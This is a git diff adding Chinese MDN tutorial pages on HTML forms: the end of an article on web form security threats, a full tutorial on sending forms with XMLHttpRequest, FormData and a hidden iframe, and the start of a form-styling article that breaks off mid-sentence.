+<p>XSS攻击利用用户对web站点的信任,而CSRF攻击则利用网站对其用户的信任。</p> + +<p>为了防止这些攻击,您应该始终检查用户发送给服务器的数据(如果需要显示),尽量不要显示用户提供的HTML内容。相反,您应该对用户提供的数据进行处理,这样您就不会逐字地显示它。当今市场上几乎所有的框架都实现了一个最小的过滤器,它可以从任何用户发送的数据中删除HTML{{HTMLElement("script")}}、{{HTMLElement("iframe")}} 和{{HTMLElement("object")}} 元素。这有助于降低风险,但并不一定会消除风险。</p> + +<h3 id="SQL注入">SQL注入</h3> + +<p>SQL 注入是一种试图在目标web站点使用的数据库上执行操作的攻击类型。这通常包括发送一个SQL请求,希望服务器能够执行它(通常发生在应用服务器试图存储由用户发送的数据时)。这实际上是<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">攻击网站的主要途径之一</a>。 </p> + +<p>其后果可能是可怕的,从数据丢失到通过使用特权升级控制整个网站基础设施的攻击。这是一个非常严重的威胁,您永远不应该存储用户发送的数据,而不执行一些清理工作(例如,在php/mysql基础设施上使用<code><a href="http://www.php.net/manual/en/function.mysql-real-escape-string.php" rel="external" title="http://www.php.net/manual/en/function.mysql-real-escape-string.php">mysql_real_escape_string()</a></code>。</p> + +<h3 id="HTTP数据头注入和电子邮件注入">HTTP数据头注入和电子邮件注入</h3> + +<p>这种类型的攻击出现在当您的应用程序基于表单上用户的数据输入构建HTTP头部或电子邮件时。这些不会直接损害您的服务器或影响您的用户,但它们会引发一个更深入的问题,例如会话劫持或网络钓鱼攻击。</p> + +<p>这些攻击大多是无声的,并且可以将您的服务器变成<a href="http://en.wikipedia.org/wiki/Zombie_(computer_science)">僵尸</a>。</p> + +<h3 id="偏执永远不要相信你的用户">偏执:永远不要相信你的用户</h3> + +<p>那么,你如何应对这些威胁呢?这是一个远远超出本指南的主题,不过有一些规则需要牢记。最重要的原则是:永远不要相信你的用户,包括你自己;即使是一个值得信赖的用户也可能被劫持。</p> + +<p>所有到达服务器的数据都必须经过检查和消毒。总是这样。没有例外。</p> + +<ul> + <li>远离有潜在危险的字符转义。应该如何谨慎使用的特定字符取决于所使用的数据的上下文和所使用的服务器平台,但是所有的服务器端语言都有相应的功能。</li> + <li>限制输入的数据量,只允许有必要的数据。</li> + <li>沙箱上传文件(将它们存储在不同的服务器上,只允许通过不同的子域访问文件,或者通过完全不同的域名访问文件更好)。</li> +</ul> + +<p>如果你遵循这三条规则,你应该避免很多问题,但是如果你想要得到一个有能力的第三方执行的安全检查,这是一个好主意。不要以为你已经看到了所有可能的问题。</p> + +<div class="note"> +<p><strong>注意:</strong>我们的<a href="/en-US/docs/Learn/Server-side">服务器端</a>学习主题的<a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">网站安全性文章</a>更详细地讨论了上述威胁和潜在的解决方案。</p> +</div> + +<h2 id="结论">结论</h2> + +<p>如您所见,发送表单数据很容易,但要确保应用程序的安全性是很棘手的。请记住,前端开发人员不是应该定义数据安全模型的人。是的,我们将看到,<a href="/en-US/docs/HTML/Forms/Data_form_validation">执行客户端数据验证</a>是可能的,但是服务器不能信任这种验证,因为它无法真正知道客户端到底发生了什么。</p> + +<h2 id="相关链接">相关链接</h2> + +<p>如果您想了解更多关于保护web应用程序的信息,您可以深入了解这些资源:</p> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a></li> + <li><a href="https://www.owasp.org/index.php/Main_Page" rel="external" title="https://www.owasp.org/index.php/Main_Page">The Open Web Application Security Project (OWASP)</a></li> + <li><a href="http://shiflett.org/" rel="external" title="http://shiflett.org/">Chris Shiflett's blog about PHP Security</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> diff --git a/files/zh-cn/learn/html/forms/sending_forms_through_javascript/index.html b/files/zh-cn/learn/html/forms/sending_forms_through_javascript/index.html new file mode 100644 index 0000000000..8489ff2243 --- /dev/null +++ b/files/zh-cn/learn/html/forms/sending_forms_through_javascript/index.html @@ -0,0 +1,439 @@ +--- +title: 使用 JavaScript 发送表单 +slug: Learn/HTML/Forms/Sending_forms_through_JavaScript +tags: + - HTML + - HTML表单 + - JavaScript + - Web 表单 + - 示例 + - 表单 + - 高级 +translation_of: Learn/Forms/Sending_forms_through_JavaScript +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}</div> + +<p class="summary">正如在<a href="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data">前面的文章</a>中讲到的,HTML 表单可以声明式地发送一个 HTTP 请求。 但也可以通过 JavaScript 来为表单准备用于发送的 HTTP 请求。 本文探讨如何做到这一点。</p> + +<h2 id="表单不总是表单">表单不总是表单</h2> + +<p>在<a href="/en-US/docs/Open_Web_apps_and_Web_standards">开放式Web应用程序</a>中,使用 <a href="https://developer.mozilla.org/en-US/docs/HTML/Forms">HTML form</a> 而不是文字表单让人们来填写变得越来越普遍了 — 越来越多的开发人员正致力于控制传输数据。</p> + +<h3 id="获得整体界面的控制">获得整体界面的控制</h3> + +<p>标准的 HTML 表单提交会加载数据要发送到的URL,这意味着浏览器窗口以整页加载进行导航。 可以通过隐藏闪烁和网络滞后来避免整页加载以提供更平滑的体验。</p> + +<p>许多现代用户界面只使用HTML表单来收集用户的输入。 当用户尝试发送数据时,应用程序将在后台采取控制并且异步地传输数据,只更新UI中需要更改的部分。</p> + +<p>异步地发送任何数据被称为 <a href="/zh-CN/docs/AJAX" title="/zh-CN/docs/AJAX">AJAX</a>,它代表 "Asynchronous JavaScript And XML"。</p> + +<h3 id="表单提交和_AJAX_请求之间的区别">表单提交和 AJAX 请求之间的区别?</h3> + +<p>AJAX 技术主要依靠 {{domxref("XMLHttpRequest")}} (XHR) DOM 对象。它可以构造 HTTP 请求、发送它们,并获取请求结果。</p> + +<div class="note"> +<p><strong>注意:</strong> 老旧的 AJAX 技术可能不依赖 {{domxref("XMLHttpRequest")}}。例如 <a href="http://en.wikipedia.org/wiki/JSONP" rel="external">JSONP</a> 加 <a href="https://developer.mozilla.org/en-US/docs/Core_JavaScript_1.5_Reference:Global_Functions:eval"><code>eval()</code></a> 函数。这也行得通,但是有严重的安全问题,不推荐使用它。使用它的唯一原因是为了不支持 {{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/en-US/docs/JSON">JSON</a>的过时浏览器;但是那些浏览器实在是太古老了!<strong>避免使用这种技术。</strong></p> +</div> + +<p>创建之初, {{domxref("XMLHttpRequest")}} 被设计用来将 <a href="/zh-CN/docs/XML" title="/zh-CN/docs/XML">XML</a> 作为传输数据的格式获取和发送。不过,如今 JSON 已经取代了 XML,而且要常用的多,无论这是不是一件好事。</p> + +<p>但是 XML 和 JSON 都不适合对表单数据请求编码。 表单数据(<code>application/x-www-form-urlencoded</code>)由 URL编码的键/值对列表组成。为了传输二进制数据,HTTP请求被重新整合成<code>multipart/form-data</code>形式。</p> + +<p>如果您控制前端(在浏览器中执行的代码)和后端(在服务器上执行的代码),则可以发送JSON / XML并根据需要处理它们。</p> + +<p>但是,如果你想使用第三方服务,没有那么简单。 有些服务只接受表单数据。 也有使用表单数据更简单的情况。 如果数据是键/值对,或是原始二进制数据,以现有的后端工具不需要额外的代码就可以处理它。</p> + +<p>那么如何发送这样的数据呢?</p> + +<h2 id="发送表单数据">发送表单数据</h2> + +<p>一共有三种方式来发送表单数据:包括两种传统的方法和一种利用 {{domxref("XMLHttpRequest/FormData","formData")}}对象的新方法.让我们仔细看一下:</p> + +<h3 id="构建_XMLHttpRequest">构建 XMLHttpRequest</h3> + +<p>{{domxref("XMLHttpRequest")}} 是进行 HTTP 请求的最安全和最可靠的方式。 要使用{{domxref("XMLHttpRequest")}}发送表单数据,请通过对其进行URL编码来准备数据,并遵守表单数据请求的具体细节。</p> + +<div class="note"> +<p><strong>备注:</strong>如果想要了解更多关于 <code>XMLHttpRequest</code> 的知识,你可能会对两篇文章感兴趣:<a href="/zh-CN/docs/AJAX/Getting_Started" title="/zh-CN/docs/AJAX/Getting_Started">An introductory article to AJAX</a> 和更高级点的<a href="/zh-CN/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="/zh-CN/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">using XMLHttpRequest</a>.</p> +</div> + +<p>让我们重建之前的这个例子:</p> + +<pre class="brush: html"><button type="button" onclick="sendData({test:'ok'})">点击我!</button></pre> + +<p>正如你所看到的,HTML实际上没什么改变。 不过,JavaScript变得截然不同了:</p> + +<pre class="brush: js">function sendData(data) { + var XHR = new XMLHttpRequest(); + var urlEncodedData = ""; + var urlEncodedDataPairs = []; + var name; + + // 将数据对象转换为URL编码的键/值对数组。 + for(name in data) { + urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name])); + } + + // 将配对合并为单个字符串,并将所有%编码的空格替换为 + // “+”字符;匹配浏览器表单提交的行为。 + urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+'); + + // 定义成功数据提交时发生的情况 + XHR.addEventListener('load', function(event) { + alert('耶! 已发送数据并加载响应。'); + }); + + // 定义错误提示 + XHR.addEventListener('error', function(event) { + alert('哎呀!出问题了。'); + }); + + // 建立我们的请求 + XHR.open('POST', 'https://example.com/cors.php'); + + // 为表单数据POST请求添加所需的HTTP头 + XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + + // 最后,发送我们的数据。 + XHR.send(urlEncodedData); +}</pre> + +<p>在线演示:</p> + +<p>{{EmbedLiveSample("手动构建XMLHttpRequest", "100%", 50)}}</p> + +<div class="note"> +<p><strong>注:</strong> 当你想要往第三方网站传输数据时,使用{{domxref("XMLHttpRequest")}}会受到同源策略的影响。如果你需要执行跨域请求,你需要熟悉一下<a href="/zh-CN/docs/HTTP/Access_control_CORS" title="/zh-CN/docs/HTTP/Access_control_CORS">CORS和HTTP访问控制</a>.</p> +</div> + +<h3 id="使用_XMLHttpRequest_和_the_FormData_object(表单数据对象)">使用 XMLHttpRequest 和 the FormData object(表单数据对象)</h3> + +<p>手动建立一个 HTTP 请求非常困难。 幸运的是,最近的 <a href="http://www.w3.org/TR/XMLHttpRequest/">XMLHttpRequest 规范</a>提供了一种方便简单的方法 — 利用{{domxref("XMLHttpRequest/FormData","FormData")}}对象来处理表单数据请求。</p> + +<p>{{domxref("XMLHttpRequest/FormData","FormData")}} 对象可以用来构建用于传输的表单数据,或是获取表单元素中的数据来管理它的发送方式。 请注意,{{domxref("XMLHttpRequest/FormData","FormData")}} 对象是“只写”的,这意味着您可以更改它们,但不能检索其内容。</p> + +<p>使用这个对象在<a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects">Using FormData Objects</a>中有详细的介绍,不过这里有两个例子:</p> + +<h4 id="使用一个独立的_FormData_对象">使用一个独立的 FormData 对象</h4> + +<pre class="brush: html"><button type="button" onclick="sendData({test:'ok'})">点我!</button></pre> + +<p>你应该会觉得那个HTML示例很熟悉。</p> + +<pre class="brush: js">function sendData(data) { + var XHR = new XMLHttpRequest(); + var FD = new FormData(); + + // 把我们的数据添加到这个FormData对象中 + for(name in data) { + FD.append(name, data[name]); + } + + // 定义数据成功发送并返回后执行的操作 + XHR.addEventListener('load', function(event) { + alert('Yeah! 已发送数据并加载响应。'); + }); + + // 定义发生错误时执行的操作 + XHR.addEventListener('error', function(event) { + alert('Oops! 出错了。'); + }); + + // 设置请求地址和方法 + XHR.open('POST', 'https://example.com/cors.php'); + + // 发送这个formData对象,HTTP请求头会自动设置 + XHR.send(FD); +}</pre> + +<p>在线演示:</p> + +<p>{{EmbedLiveSample("向FormData对象中手动添加数据", "100%", 50)}}</p> + +<h4 id="使用绑定到表单元素上的_FormData">使用绑定到表单元素上的 FormData</h4> + +<p>你也可以把一个 <code>FormData</code> 对象绑定到一个 {{HTMLElement("form")}} 元素上。这会创建一个代表表单中包含元素的 <code>FormData</code> 。</p> + +<p>这段HTML是典型的情况:</p> + +<pre class="brush: html"><form id="myForm"> + <label for="myName">告诉我你的名字:</label> + <input id="myName" name="name" value="John"> + <input type="submit" value="提交"> +</form></pre> + +<p>但是 JavaScript 接管了这个表单:</p> + +<pre class="brush: js">window.addEventListener("load", function () { + function sendData() { + var XHR = new XMLHttpRequest(); + + // 我们把这个 FormData 和表单元素绑定在一起。 + var FD = new FormData(form); + + // 我们定义了数据成功发送时会发生的事。 + XHR.addEventListener("load", function(event) { + alert(event.target.responseText); + }); + + // 我们定义了失败的情形下会发生的事 + XHR.addEventListener("error", function(event) { + alert('哎呀!出了一些问题。'); + }); + + // 我们设置了我们的请求 + XHR.open("POST", "https://example.com/cors.php"); + + // 发送的数据是由用户在表单中提供的 + XHR.send(FD); + } + + // 我们需要获取表单元素 + var form = document.getElementById("myForm"); + + // ...然后接管表单的提交事件 + form.addEventListener("submit", function (event) { + event.preventDefault(); + + sendData(); + }); +});</pre> + +<p>在线演示:</p> + +<p>{{EmbedLiveSample("使用绑定到表单元素上的_FormData", "100%", 50)}}</p> + +<p>你甚至可以通过使用表单的{{domxref("HTMLFormElement.elements", "elements")}} 属性来更多的参与此过程,来得到一个包含表单里所有数据元素的列表,并且逐一手动管理他们。想了解更多,请参阅这里的例子:{{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}</p> + +<h3 id="在隐藏的iframe中构建DOM">在隐藏的iframe中构建DOM</h3> + +<p>最古老的异步发送表单数据方法是用 DOM API 构建表单,然后将其数据发送到隐藏的 {{HTMLElement("iframe")}}。 要获得提交的结果,请获取{{HTMLElement("iframe")}}的内容。</p> + +<div class="warning"> +<p><strong>警告:</strong><strong>不要使用这项技术。</strong>有第三方服务的安全风险,因为它会使你暴露在 <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" rel="external">脚本注入攻击</a> 中. 如果你使用 HTTPS,它会影响 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">同源策略</a>, 这可以使 {{HTMLElement("iframe")}} 内容无法访问。然而,该方法可能是你需要支持很古老的浏览器的唯一选择。</p> +</div> + +<p>下面是个简单的例子:</p> + +<pre class="brush: html"><button onclick="sendData({test:'ok'})">点击我!</button></pre> + +<p>所有操作都在下面这段脚本里:</p> + +<pre class="brush: js">// 首先创建一个用来发送数据的iframe. +var iframe = document.createElement("iframe"); +iframe.name = "myTarget"; + +// 然后,将iframe附加到主文档 +window.addEventListener("load", function () { + iframe.style.display = "none"; + document.body.appendChild(iframe); +}); + +// 下面这个函数是真正用来发送数据的. +// 它只有一个参数,一个由键值对填充的对象. +function sendData(data) { + var name, + form = document.createElement("form"), + node = document.createElement("input"); + + // 定义响应时发生的事件 + iframe.addEventListener("load", function () { + alert("Yeah! Data sent."); + }); + + form.action = "http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi"; + form.target = iframe.name; + + for(name in data) { + node.name = name; + node.value = data[name].toString(); + form.appendChild(node.cloneNode()); + } + + // 表单元素需要附加到主文档中,才可以被发送。 + form.style.display = "none"; + document.body.appendChild(form); + + form.submit(); + + // 表单提交后,就可以删除这个表单,不影响下次的数据发送。 + document.body.removeChild(form); +}</pre> + +<p>在线演示:</p> + +<p>{{EmbedLiveSample("在DOM中构建一个隐藏的iframe", "100%", 50)}}</p> + +<h2 id="处理二进制数据">处理二进制数据</h2> + +<p>如果你使用一个含有 <code><input type="file"></code> 组件的表格的 {{domxref("XMLHttpRequest/FormData","FormData")}} 对象,传给代码的数据会被自动处理。但是要手动发送二进制数据的话,还有额外的工作要做。</p> + +<p>在现代网络上,二进制数据有很多来源:例如{{domxref("FileReader")}} API、{{domxref("HTMLCanvasElement","Canvas")}} API、<a href="/zh-CN/docs/WebRTC/navigator.getUserMedia" title="/zh-CN/docs/WebRTC/navigator.getUserMedia">WebRTC</a> API,等等。不幸的是,一些过时的浏览器无法访问二进制数据,或是需要非常复杂的工作环境。这些遗留问题已经超出了本文的涵盖范围。如果你想了解更多关于 <code>FileReader</code> API的知识,参阅:<a href="/zh-CN/docs/Using_files_from_web_applications" title="/zh-CN/docs/Using_files_from_web_applications">如何在web应用程序中使用文件</a>。</p> + +<p>在 {{domxref("XMLHttpRequest/FormData","formData")}} 的帮助下,发送二进制数据非常简单,使用 <code>append()</code> 方法就可以了。如果你必须手动进行,那确实会有一些棘手。</p> + +<p>在下面的例子中,我们使用了{{domxref("FileReader")}} API来访问二进制数据,然后手动构建多重表单数据请求:</p> + +<pre class="brush: html"><form id="myForm"> + <p> + <label for="i1">文本数据:</label> + <input id="i1" name="myText" value="一些文本数据"> + </p> + <p> + <label for="i2">文件数据:</label> + <input id="i2" name="myFile" type="file"> + </p> + <button>提交!</button> +</form></pre> + +<p>如你所见,这个 HTML 只是一个标准的 <code><form></code>。没有什么神奇的事情发生。“魔法”都在 JavaScript 里:</p> + +<pre class="brush: js">// 因为我们想获取 DOM 节点, +// 我们在页面加载时初始化我们的脚本. +window.addEventListener('load', function () { + + // 这些变量用于存储表单数据 + var text = document.getElementById("i1"); + var file = { + dom : document.getElementById("i2"), + binary : null + }; + + // 使用 FileReader API 获取文件内容 + var reader = new FileReader(); + + // 因为 FileReader 是异步的, 会在完成读取文件时存储结果 + reader.addEventListener("load", function () { + file.binary = reader.result; + }); + + // 页面加载时, 如果一个文件已经被选择, 那么读取该文件. + if(file.dom.files[0]) { + reader.readAsBinaryString(file.dom.files[0]); + } + + // 如果没有被选择,一旦用户选择了它,就读取文件。 + file.dom.addEventListener("change", function () { + if(reader.readyState === FileReader.LOADING) { + reader.abort(); + } + + reader.readAsBinaryString(file.dom.files[0]); + }); + + // 发送数据是我们需要的主要功能 + function sendData() { + // 如果存在被选择的文件,等待它读取完成 + // 如果没有, 延迟函数的执行 + if(!file.binary && file.dom.files.length > 0) { + setTimeout(sendData, 10); + return; + } + + // 要构建我们的多重表单数据请求, + // 我们需要一个XMLHttpRequest 实例 + var XHR = new XMLHttpRequest(); + + // 我们需要一个分隔符来定义请求的每一部分。 + var boundary = "blob"; + + // 将我们的主体请求存储于一个字符串中 + var data = ""; + + // 所以,如果用户已经选择了一个文件 + if (file.dom.files[0]) { + // 在请求体中开始新的一部分 + data += "--" + boundary + "\r\n"; + + // 把它描述成表单数据 + data += 'content-disposition: form-data; ' + // 定义表单数据的名称 + + 'name="' + file.dom.name + '"; ' + // 提供文件的真实名字 + + 'filename="' + file.dom.files[0].name + '"\r\n'; + // 和文件的MIME类型 + data += 'Content-Type: ' + file.dom.files[0].type + '\r\n'; + + // 元数据和数据之间有一条空行。 + data += '\r\n'; + + // 将二进制数据添加到主体请求中 + data += file.binary + '\r\n'; + } + + // 文本数据更简单一些 + // 在主体请求中开始一个新的部分 + data += "--" + boundary + "\r\n"; + + // 声明它是表单数据,并命名它 + data += 'content-disposition: form-data; name="' + text.name + '"\r\n'; + // 元数据和数据之间有一条空行。 + data += '\r\n'; + + // 添加文本数据到主体请求中 + data += text.value + "\r\n"; + + // 一旦完成,“关闭”主体请求 + data += "--" + boundary + "--"; + + // 定义成功提交数据执行的语句 + XHR.addEventListener('load', function(event) { + alert('✌!数据已发送且响应已加载。'); + }); + + // 定义发生错误时做的事 + XHR.addEventListener('error', function(event) { + alert('哎呀!出现了一些问题。'); + }); + + // 建立请求 + XHR.open('POST', 'https://example.com/cors.php'); + + // 添加需要的HTTP头部来处理多重表单数据POST请求 + XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary); + + // 最后,发送数据。 + XHR.send(data); + } + + // 访问表单… + var form = document.getElementById("myForm"); + + // …接管提交事件 + form.addEventListener('submit', function (event) { + event.preventDefault(); + sendData(); + }); +});</pre> + +<p>在线演示:</p> + +<p>{{EmbedLiveSample("发送二进制数据", "100%", 150)}}</p> + +<h2 id="总结">总结</h2> + +<p>取决于不同的浏览器,通过 JavaScript 发送数据可能会很简单,也可能会很困难。{{domxref("XMLHttpRequest/FormData","FormData")}} 对象是通用的答案, 所以请毫不犹豫的在旧浏览器上通过polyfill使用它:</p> + +<ul> + <li>此<a href="https://gist.github.com/3120320" rel="external"> gist</a> 通过 {{domxref("Using_web_workers","Web Workers")}} polyfill 了 <code>FormData</code>。</li> + <li><a href="https://github.com/francois2metz/html5-formdata" rel="external">HTML5-formdata</a> 试图 polyfill <code>FormData</code> 对象, 但是它需要 <a href="http://www.w3.org/TR/FileAPI/" rel="external">File API</a></li> + <li>这个 <a href="https://github.com/jimmywarting/FormData">polyfill</a> 提供了 FormData 所有的大部分新方法(entries, keys, values, 以及对 <code>for...of</code> 的支持)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets </a></li> +</ul> diff --git a/files/zh-cn/learn/html/forms/styling_html_forms/index.html b/files/zh-cn/learn/html/forms/styling_html_forms/index.html new file mode 100644 index 0000000000..26b94e94e8 --- /dev/null +++ b/files/zh-cn/learn/html/forms/styling_html_forms/index.html @@ -0,0 +1,388 @@ +--- +title: 样式化 HTML 表单 +slug: Learn/HTML/Forms/Styling_HTML_forms +tags: + - CSS + - Web + - 例子 + - 指导 + - 样式 + - 表单 +translation_of: Learn/Forms/Styling_web_forms +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}</p> + +<p class="summary">在这篇文章中,用户将学习如何使用HTML表单和CSS以使页面更加美观。令人惊讶的是,这可能有点棘手。由于历史和技术的原因,表单部件不能很好地与CSS配合工作。 由于这些困难,许多开发人员选择<a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">构建自己的HTML小部件</a>以获得更好的控制和视觉观感。 然而,在现代浏览器中,web设计者越来越多地控制表单元素的设计。让我们深入研究。</p> + +<h2 id="为什么使用CSS美化表单组件这么困难?">为什么使用CSS美化表单组件这么困难?</h2> + +<p>在1995年左右的Web早期,表单组件(或控件)在 <a href="http://www.ietf.org/rfc/rfc1866.txt">HTML 2规范</a>中被添加到HTML。由于表单组件的复杂性,实现者选择依靠底层操作系统来管理和渲染它们。</p> + +<p>若干年后,CSS被创建出来了,那么技术上的必要性,就是使用原生组件来实现表单控制,这是因为风格的要求。在CSS的早期,表单样式控制不是优先事项。</p> + +<p>由于用户习惯于各自平台的视觉外观,浏览器厂商不愿意对表单控件样式进行调整;到目前为止,要重建所有控件以使它们可美化仍然是非常困难的。</p> + +<p>即使在今天,仍然没有一个浏览器完全实现了CSS 2.1。然而,随着时间的推移,浏览器厂商已经改进了对表单元素的CSS支持,尽管可用性的声誉不好,但现在已经可以使用CSS来设计<a href="/en-US/docs/HTML/Forms">HTML表单</a>。</p> + +<h3 id="涉及到CSS,并非所有组件都是平等的">涉及到CSS,并非所有组件都是平等的</h3> + +<p>目前,在使用表单时使用CSS仍然有一些困难。这些问题可以分为三类: </p> + +<h4 id="好的">好的</h4> + +<p>有些元素在跨平台上时很少出现问题。包括以下结构元素:</p> + +<ol> + <li>{{HTMLElement("form")}}</li> + <li>{{HTMLElement("fieldset")}}</li> + <li>{{HTMLElement("label")}}</li> + <li>{{HTMLElement("output")}}</li> +</ol> + +<p>这还包括所有文本字段小部件(单行和多行)和按钮。</p> + +<h4 id="不好的">不好的</h4> + +<p>一些元素难以被美化,并且可能需要一些复杂的技巧,偶尔需要高级的CSS3知识。</p> + +<p>这些包括{{HTMLElement("legend")}}元素,但不能在所有平台上正确定位。 Checkbox和radio按钮也不能直接应用样式,但是,感谢CSS3,你可以解决这个问题。{{htmlattrxref("placeholder", "input")}} 的内容不能以任何标准方式应用样式,但是实现它的所有浏览器也都实现了私有的CSS伪元素或伪类,让你可以对其定义样式。</p> + +<p>我们会在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">如何构建自定义表单挂件</a>一文中讲述如何处理更多特定的问题。</p> + +<h4 id="丑陋的">丑陋的</h4> + +<p>有些元素根本不能用应用CSS样式。 这些包括:所有高级用户界面小部件,如范围,颜色或日期控件; 和所有下拉小部件,包括{{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}}和{{HTMLElement("datalist")}} 元素。 文件选择器小部件也被称为不可样式化。 新的{{HTMLElement("progress")}}和{{HTMLElement("meter")}} 元素也属于这个类别。</p> + +<p>所有这些小部件的主要问题来自于它们具有非常复杂的结构,而CSS目前还不足以表达这些小部件的所有细微部分。 如果你想定制这些小部件,你必须依靠JavaScript来构建一个你能够应用样式的DOM树。我们会在 <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a>一文中探索如何实现这一点。</p> + +<h2 id="基本样式美化">基本样式美化</h2> + +<p>为了使用CSS美化容易被美化的元素,你并不会碰到任何困难,因为它们的大部分行为同其他HTML元素差不多。但是,每个浏览器的用户代理样式表可能会有点不一致,所以有一些技巧可以帮助您更轻松地设计它们。</p> + +<h3 id="Search字段">Search字段</h3> + +<p>搜索框是唯一一种应用CSS样式有点棘手的文本字段。 在基于WebKit的浏览器(Chrome,Safari等)上,您必须使用<code>-webkit-appearance</code>专有属性来调整它。 我们在文章中进一步讨论这个属性:<a href="/en-US/docs/Advanced_styling_for_HTML_forms">HTML表单的高级样式</a>。</p> + +<h4 id="Example">Example</h4> + +<pre class="brush: html"><form> + <input type="search"> +</form> +</pre> + +<pre class="brush: css">input[type=search] { + border: 1px dotted #999; + border-radius: 0; + + -webkit-appearance: none; +}</pre> + +<p><img alt="This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance" src="/files/4153/search-chrome-macos.png" style="border-style: solid; border-width: 1px; height: 107px; width: 179px;"></p> + +<p>截图中是 Chrome 浏览器中的两个搜索框,在我们的例子中,两个搜索框均被设置为有边框。第一个没有使用<code>-webkit-appearance</code>渲染,而第二个使用了 <code>-webkit-appearance:none</code>. 两者的不同显而易见。</p> + +<h3 id="字体和文本">字体和文本</h3> + +<p>CSS font和text功能能被很容易的应用到任何组件上(当然你可以在form组件上使用{{cssxref("@font-face")}} )。然而,浏览器的行为经常不一致。默认情况下,一些组件不会从它们的父元素继承 {{cssxref("font-family")}}和 {{cssxref("font-size")}} 。相反,许多浏览器使用系统默认的字体和文本。为了让form表单的外观和其他内容保持一致,你可以在你的样式表中增加以下内容:</p> + +<pre class="brush: css">button, input, select, textarea { + font-family : inherit; + font-size : 100%; +}</pre> + +<p>下面的截图显示了不同之处; 左边是Mac OS X上Firefox中元素的默认渲染,其中使用了平台的默认字体样式。 在右边是相同的元素,应用了我们的字体统一样式规则。</p> + +<p><img alt="This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font 